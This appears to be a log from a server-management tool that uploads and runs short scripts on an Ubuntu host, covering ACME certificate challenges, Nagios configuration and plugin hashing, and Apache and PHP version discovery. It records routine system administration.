PUT: /tmp/pkp761587
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > F7MhTgdLSV72s6QCLj4_PrMRDxs4CMWk5-qhq3c6b0M <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
F7MhTgdLSV72s6QCLj4_PrMRDxs4CMWk5-qhq3c6b0M.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 F7MhTgdLSV72s6QCLj4_PrMRDxs4CMWk5-qhq3c6b0M
2025-12-25 06:00:35:
chmod 755 /tmp/pkp761587; /tmp/pkp761587; rm /tmp/pkp761587
2025-12-25 06:00:35:
2025-12-25 06:00:36: Establishing a connection
2025-12-25 06:00:38: Establishing a connection
2025-12-25 06:00:39:
PUT: /tmp/pkp737364
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-25 06:00:39:
chmod 755 /tmp/pkp737364; /tmp/pkp737364; rm /tmp/pkp737364
2025-12-25 06:00:40:
0
2025-12-26 06:00:01: Establishing a connection
2025-12-26 06:00:01: Establishing a connection
2025-12-26 06:00:02:
PUT: /tmp/pkp401712
#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-26 06:00:02:
chmod 755 /tmp/pkp401712; /tmp/pkp401712; rm /tmp/pkp401712
2025-12-26 06:00:02:
1
2025-12-26 06:00:04: Establishing a connection
2025-12-26 06:00:04:
PUT: /tmp/pkp167916
#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > vt66QsgwBctpJcnuZiX78g2Myr03avjwFmlac3X-OAo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vt66QsgwBctpJcnuZiX78g2Myr03avjwFmlac3X-OAo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vt66QsgwBctpJcnuZiX78g2Myr03avjwFmlac3X-OAo
2025-12-26 06:00:04:
chmod 755 /tmp/pkp167916; /tmp/pkp167916; rm /tmp/pkp167916
2025-12-26 06:00:04:
2025-12-26 06:00:05: Establishing a connection
2025-12-26 06:00:06: Establishing a connection
2025-12-26 06:00:08:
PUT: /tmp/pkp230749
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-26 06:00:08:
chmod 755 /tmp/pkp230749; /tmp/pkp230749; rm /tmp/pkp230749
2025-12-26 06:00:09:
0
2025-12-26 13:52:35: Establishing a connection
2025-12-26 13:52:35: Establishing a connection
2025-12-26 13:52:37:
PUT: /tmp/pkp489700
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-26 13:52:37:
chmod 755 /tmp/pkp489700; /tmp/pkp489700; rm /tmp/pkp489700
2025-12-26 13:52:37:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-12-26 13:52:37:
systemctl reload nagios
2025-12-26 13:52:37:
2025-12-26 13:52:37:
PUT: /tmp/pkp480642
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-12-26 13:52:37:
chmod 755 /tmp/pkp480642; /tmp/pkp480642; rm /tmp/pkp480642
2025-12-26 13:52:37:
ok
2025-12-26 13:52:37:
PUT: /tmp/pkp945948
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-12-26 13:52:37:
chmod 755 /tmp/pkp945948; /tmp/pkp945948; rm /tmp/pkp945948
2025-12-26 13:52:37:
ok
2025-12-26 13:52:37:
PUT: /tmp/pkp244177
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-26 13:52:37:
chmod 755 /tmp/pkp244177; /tmp/pkp244177; rm /tmp/pkp244177
2025-12-26 13:52:37:
ok
2025-12-26 13:52:37:
PUT: /tmp/pkp372238
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-12-26 13:52:37:
chmod 755 /tmp/pkp372238; /tmp/pkp372238; rm /tmp/pkp372238
2025-12-26 13:52:37:
ok
2025-12-26 13:52:37:
PUT: /tmp/pkp258700
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-26 13:52:37:
chmod 755 /tmp/pkp258700; /tmp/pkp258700; rm /tmp/pkp258700
2025-12-26 13:52:37:
ok
2025-12-26 13:52:37:
PUT: /tmp/pkp366445
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-12-26 13:52:37:
chmod 755 /tmp/pkp366445; /tmp/pkp366445; rm /tmp/pkp366445
2025-12-26 13:52:37:
ok
2025-12-26 13:52:37:
PUT: /tmp/pkp578849
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-12-26 13:52:37:
chmod 755 /tmp/pkp578849; /tmp/pkp578849; rm /tmp/pkp578849
2025-12-26 13:52:37:
ok
2025-12-26 13:52:37:
PUT: /tmp/pkp211091
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-12-26 13:52:37:
chmod 755 /tmp/pkp211091; /tmp/pkp211091; rm /tmp/pkp211091
2025-12-26 13:52:37:
ok
2025-12-26 13:52:37:
PUT: /tmp/pkp987408
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok
2025-12-26 13:52:37:
chmod 755 /tmp/pkp987408; /tmp/pkp987408; rm /tmp/pkp987408
2025-12-26 13:52:37:
ok
2025-12-26 13:59:47: Establishing a connection
2025-12-26 13:59:54: Establishing a connection
2025-12-26 13:59:54: Performing Server Status
2025-12-26 13:59:54:
PUT: /tmp/pkp296007
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
show_hostname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
hostname >> $temp_file
echo >> $temp_file
}
show_arc() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -m >> $temp_file
echo >> $temp_file
}
show_uname() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
uname -r -s >> $temp_file
echo >> $temp_file
}
if [ -f /etc/centos-release ]; then
show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
show_file /proc/swaps
fi
show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'
gzip -cn9 $temp_file
rm $temp_file
2025-12-26 13:59:54:
chmod 755 /tmp/pkp296007; /tmp/pkp296007; rm /tmp/pkp296007
2025-12-26 13:59:54:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename Type Size Used Priority
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
aries
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic
2025-12-26 13:59:54:
PUT: /tmp/pkp733552
#!/bin/bash
# get service version
apache_output() {
sub_file=$(mktemp)
script -q -c "$1 -V" $sub_file
cat $sub_file
rm $sub_file
}
apache_output2() {
$1 -V
}
apachectl_output() {
temp_file=$(mktemp)
apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
pid=`cat $file`;
cat $temp_file
rm $temp_file
# also get user/group
echo pid: $pid
if [ -d "/etc/apache2/sites-available" ]; then
echo available=sites-available
elif [ -d "/etc/apache2/hosts.d" ]; then
echo available=hosts.d
elif [ -d "/etc/apache2/conf.d" ]; then
echo available=conf.d
fi
echo [ps]
ps up $pid
}
apachectl_enabled() {
temp_file=$(mktemp)
apachectl -t -D DUMP_MODULES > $temp_file 2>&1
echo [modules]
cat $temp_file
rm $temp_file
}
if [[ "$OSTYPE" == "darwin"* ]]; then
echo [apache2]
apache_output2 /usr/sbin/httpd
elif [ -e "/usr/sbin/httpd" ]; then
echo [httpd]
apache_output /usr/sbin/httpd
if [ -d "/etc/httpd/conf.d" ]; then
echo available=conf.d
fi
fi
if [ -e "/usr/sbin/apache2" ]; then
echo [apache2]
source /etc/apache2/envvars
apache_output2 /usr/sbin/apache2
apachectl_output
apachectl_enabled
fi
2025-12-26 13:59:54:
chmod 755 /tmp/pkp733552; /tmp/pkp733552; rm /tmp/pkp733552
2025-12-26 13:59:55:
[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built: 2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture: 64-bit
Server MPM: prefork
threaded: no
forked: yes (variable process count)
Server compiled with....
-D APR_HAS_SENDFILE
-D APR_HAS_MMAP
-D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
-D APR_USE_PROC_PTHREAD_SERIALIZE
-D APR_USE_PTHREAD_SERIALIZE
-D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
-D APR_HAS_OTHER_CHILD
-D AP_HAVE_RELIABLE_PIPED_LOGS
-D DYNAMIC_MODULE_LIMIT=256
-D HTTPD_ROOT="/etc/apache2"
-D SUEXEC_BIN="/usr/lib/apache2/suexec"
-D DEFAULT_PIDLOG="/var/run/apache2.pid"
-D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
-D DEFAULT_ERRORLOG="logs/error_log"
-D AP_TYPES_CONFIG_FILE="mime.types"
-D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1068
available=sites-available
[ps]
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1068 0.0 0.9 260428 38688 ? Ss 13:44 0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
core_module (static)
so_module (static)
watchdog_module (static)
http_module (static)
log_config_module (static)
logio_module (static)
version_module (static)
unixd_module (static)
access_compat_module (shared)
alias_module (shared)
auth_basic_module (shared)
authn_core_module (shared)
authn_file_module (shared)
authz_core_module (shared)
authz_host_module (shared)
authz_user_module (shared)
autoindex_module (shared)
cgi_module (shared)
deflate_module (shared)
dir_module (shared)
env_module (shared)
filter_module (shared)
headers_module (shared)
mime_module (shared)
mpm_prefork_module (shared)
negotiation_module (shared)
php_module (shared)
proxy_module (shared)
proxy_fcgi_module (shared)
proxy_wstunnel_module (shared)
reqtimeout_module (shared)
rewrite_module (shared)
setenvif_module (shared)
socache_shmcb_module (shared)
ssl_module (shared)
status_module (shared)
2025-12-26 13:59:55:
SERVER INFO (php_model): array (
'debian' => 1,
'redhat' => 0,
'name' => 'aries',
'arch' => 'x86_64',
'raspbian' => 0,
'osdesc' => 'Ubuntu 24.04.3 LTS',
'rel' => '24.04.3',
'mac' => 0,
'distro' => 'ubuntu',
'web' =>
array (
'apache2' =>
array (
'conf' => 'apache2.conf',
'config' => '/etc/apache2',
'user' => 'www-data',
'group' => 'www-data',
'available' => 'sites-available',
'running' => 1,
),
'modules' =>
array (
0 => 'core_module',
1 => 'so_module',
2 => 'watchdog_module',
3 => 'http_module',
4 => 'log_config_module',
5 => 'logio_module',
6 => 'version_module',
7 => 'unixd_module',
8 => 'access_compat_module',
9 => 'alias_module',
10 => 'auth_basic_module',
11 => 'authn_core_module',
12 => 'authn_file_module',
13 => 'authz_core_module',
14 => 'authz_host_module',
15 => 'authz_user_module',
16 => 'autoindex_module',
17 => 'cgi_module',
18 => 'deflate_module',
19 => 'dir_module',
20 => 'env_module',
21 => 'filter_module',
22 => 'headers_module',
23 => 'mime_module',
24 => 'mpm_prefork_module',
25 => 'negotiation_module',
26 => 'php_module',
27 => 'proxy_module',
28 => 'proxy_fcgi_module',
29 => 'proxy_wstunnel_module',
30 => 'reqtimeout_module',
31 => 'rewrite_module',
32 => 'setenvif_module',
33 => 'socache_shmcb_module',
34 => 'ssl_module',
35 => 'status_module',
),
),
)
2025-12-26 13:59:55:
PUT: /tmp/pkp968104
#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
echo $1 >> $temp_file
cat $1 >> $temp_file
echo >> $temp_file
}
# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
if [ ! -f "/usr/bin/add-apt-repository" ]; then
apt-get -y install software-properties-common > $temp_file 2>&1
fi
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C > $temp_file 2>&1
add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
apt-get update > $temp_file 2>&1
fi
echo $BOUNDARY >> $temp_file
echo apt-get >> $temp_file
apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
echo >> $temp_file
fi
gzip -cn9 $temp_file
rm $temp_file
2025-12-26 13:59:55:
chmod 755 /tmp/pkp968104; /tmp/pkp968104; rm /tmp/pkp968104
2025-12-26 13:59:55:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)
2025-12-26 13:59:55:
PUT: /tmp/pkp343317
#!/bin/bash
dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php5.6]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php7.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.0]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.1]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.2]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.3]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.4]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
echo [php8.5]
value=`$dest -r 'echo PHP_VERSION;'`
echo php=$dest
echo fpm=$fpm
echo version=$value
fi
2025-12-26 13:59:55:
chmod 755 /tmp/pkp343317; /tmp/pkp343317; rm /tmp/pkp343317
2025-12-26 13:59:56:
[php8.1]
php=/usr/bin/php8.1
fpm=/etc/php/8.1/fpm/pool.d
version=8.1.34
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.3]
php=/usr/bin/php8.3
fpm=
version=8.3.29
[php8.4]
php=/usr/bin/php8.4
fpm=
version=8.4.16
STDERR:
PHP Warning: PHP Startup: xapian: Unable to initialize module
Module compiled with module API=20210902
PHP compiled with module API=20220829
These options need to match
in Unknown on line 0
2025-12-26 13:59:56:
PUT: /tmp/pkp709140
#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def collectCfgFiles(filename):
config = []
f = open(filename, 'r')
file = f.readlines()
for v in file:
v = v.rstrip()
if v != '' and v[0] != '#':
p = v.find('=')
if p > -1:
key = v[:p].strip()
value=v[p+1:].strip()
if key == 'cfg_file':
config.append(value)
f.close()
return config
def generate_hash(filename, type = 'MD5'):
digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
payload = type + '(' + filename + ')= ' + digest + "\n"
gz.write(payload.encode('cp437'))
def scan_folder(folder):
if os.path.isdir(folder):
filelist = glob.glob(folder + '/check*')
for filename in filelist:
generate_hash(filename, 'bin')
return
try:
try:
filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
for file in filelist:
generate_hash(file)
except:
pass
scan_folder('/usr/local/nagios/libexec')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-26 13:59:56:
chmod 755 /tmp/pkp709140; /tmp/pkp709140; rm /tmp/pkp709140
2025-12-26 13:59:56:
(gzipped output)
MD5(/usr/local/nagios/etc/objects/commands.cfg)= 01bde29e474c65888f3198db6533647f
MD5(/usr/local/nagios/etc/objects/contacts.cfg)= c5e045a98012465016e36602cd0f1eab
MD5(/usr/local/nagios/etc/objects/timeperiods.cfg)= 9e9c822c634255dbed808491e0089296
MD5(/usr/local/nagios/etc/objects/templates.cfg)= dc3266c6bb8ce169d7e6d194d7b1e72d
MD5(/usr/local/nagios/etc/objects/pkp.cfg)= 4342b5a6384f866613f3d6a8132a70e2
MD5(/usr/local/nagios/etc/objects/hostgroup.cfg)= 8fd8035105e240bc8631a4ed1a2baab7
MD5(/usr/local/nagios/etc/objects/localhost.cfg)= 1ed8753ee170fda2d6a1e91b181284e9
bin(/usr/local/nagios/libexec/check_real)= 5e19b5c5e40d6e40d16e3505da57cb05
bin(/usr/local/nagios/libexec/check_ssh)= 7eb26e24dd1a42d22604ce66244caa14
bin(/usr/local/nagios/libexec/check_ntp_time)= ce45c72f86257b3227330cdf654bb241
bin(/usr/local/nagios/libexec/check_dummy)= 9059e3043eb48f4de81b72d7b0951b8d
bin(/usr/local/nagios/libexec/check_ssmtp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_pop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_imap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_wave)= 588c42d881cec26eea20887eb7623192
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4e4ee59fada8b591e57cb93b33f1c085
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 56e28d6c53150a0c44f7e787d85b7214
bin(/usr/local/nagios/libexec/check_rpc)= 55ecb23b0cecfbdae0d6992bafa076e7
bin(/usr/local/nagios/libexec/check_simap)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ide_smart)= 0cee3da97cc6ea0e77032283737a7f93
bin(/usr/local/nagios/libexec/check_breeze)= 543a2238e7ae9adcb040b2a635b6ce81
bin(/usr/local/nagios/libexec/check_ssl_certificate)= cad7d899ff9dd6501ddf03d18895b5c2
bin(/usr/local/nagios/libexec/check_dns)= e026bfbb50a3ed080497cf86304af190
bin(/usr/local/nagios/libexec/check_ntp)= ef86f455d0dd980f5bf465d501a1ee24
bin(/usr/local/nagios/libexec/check_nagios)= 16f78531ef10d8bd815637619ad8810f
bin(/usr/local/nagios/libexec/check_overcr)= 6347d00b93fd427d3aeb5bec85284eb1
bin(/usr/local/nagios/libexec/check_nntp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_spop)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_ftp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_oracle)= 9017feb302cac9c1882dd3d2a7371f68
bin(/usr/local/nagios/libexec/check_swap)= 7d1237348d1b008206ef0efcf16e0964
bin(/usr/local/nagios/libexec/check_sensors)= 4694b2d104a9c9c1d500404e08810ab2
bin(/usr/local/nagios/libexec/check_jabber)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_by_ssh)= e005655c209de4e02d7c15dee194b5ef
bin(/usr/local/nagios/libexec/check_udp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_dig)= 94fc177ae79310de86dea510479a152a
bin(/usr/local/nagios/libexec/check_http)= 6568222b2189dca9bbaf20a9975f85ca
bin(/usr/local/nagios/libexec/check_nt)= 9708478e65a9716ed2e8d1aa50b54db5
bin(/usr/local/nagios/libexec/check_disk_smb)= dd9ec10a3f651d4bb85d452e8a001408
bin(/usr/local/nagios/libexec/check_mrtg)= 37f24463db28f6a36a5768b16c1031ed
bin(/usr/local/nagios/libexec/check_clamd)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_users)= ab663ac97799aed910e34f86e5c855a4
bin(/usr/local/nagios/libexec/check_ircd)= eb49495402862ca1099bdfd818306243
bin(/usr/local/nagios/libexec/check_procs)= f29608085acf9a38f234c0633dc2dc9c
bin(/usr/local/nagios/libexec/check_log)= 74401f254cd3b3b9238b9b71d362ec50
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_mailq)= b1a6343b9f983e685559dd629c5242cf
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= c3efb603d314713069ac36e56601783e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 862b0b548b97639ba427d77d6cb71357
bin(/usr/local/nagios/libexec/check_tcp)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= 6677ebd71abab66b6f0c50d71e35c286
bin(/usr/local/nagios/libexec/check_time)= b370fd03db2fa24b3009eefd517679ad
bin(/usr/local/nagios/libexec/check_smtp)= d3ee9c6688d0c78a4226d8c00d4e906f
bin(/usr/local/nagios/libexec/check_ping)= 58e5bf40f290b978930addeae210dad9
bin(/usr/local/nagios/libexec/check_flexlm)= 1dea6dadb259a5b53aeb31f64650ffb1
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= b8e413a332691789bcee09b1d0f29f78
bin(/usr/local/nagios/libexec/check_disk)= b0caf9f66b7d4887f9c3919c43183426
bin(/usr/local/nagios/libexec/check_uptime)= 10f6dd18860423bd8500f4b83ea64933
bin(/usr/local/nagios/libexec/check_icmp)= c1fa73d619604ec52d01e46a576a1bd3
bin(/usr/local/nagios/libexec/check_nntps)= 300da31a60e43ca4dcb97c0af5f35b03
bin(/usr/local/nagios/libexec/check_load)= adaa7c893c89d114b45043d3b8ab64bf
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 3599b505059ecf7a1838782dae75d82f
bin(/usr/local/nagios/libexec/check_ups)= e60fb0dd7c6d47261deaed95074ed052
bin(/usr/local/nagios/libexec/check_file_age)= d45ede358999e4b9a7784006ca507715
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 05ce7fcaa48ebfccf353943bad4101ca
2025-12-26 13:59:56:
PUT: /tmp/pkp889779
#!/bin/bash
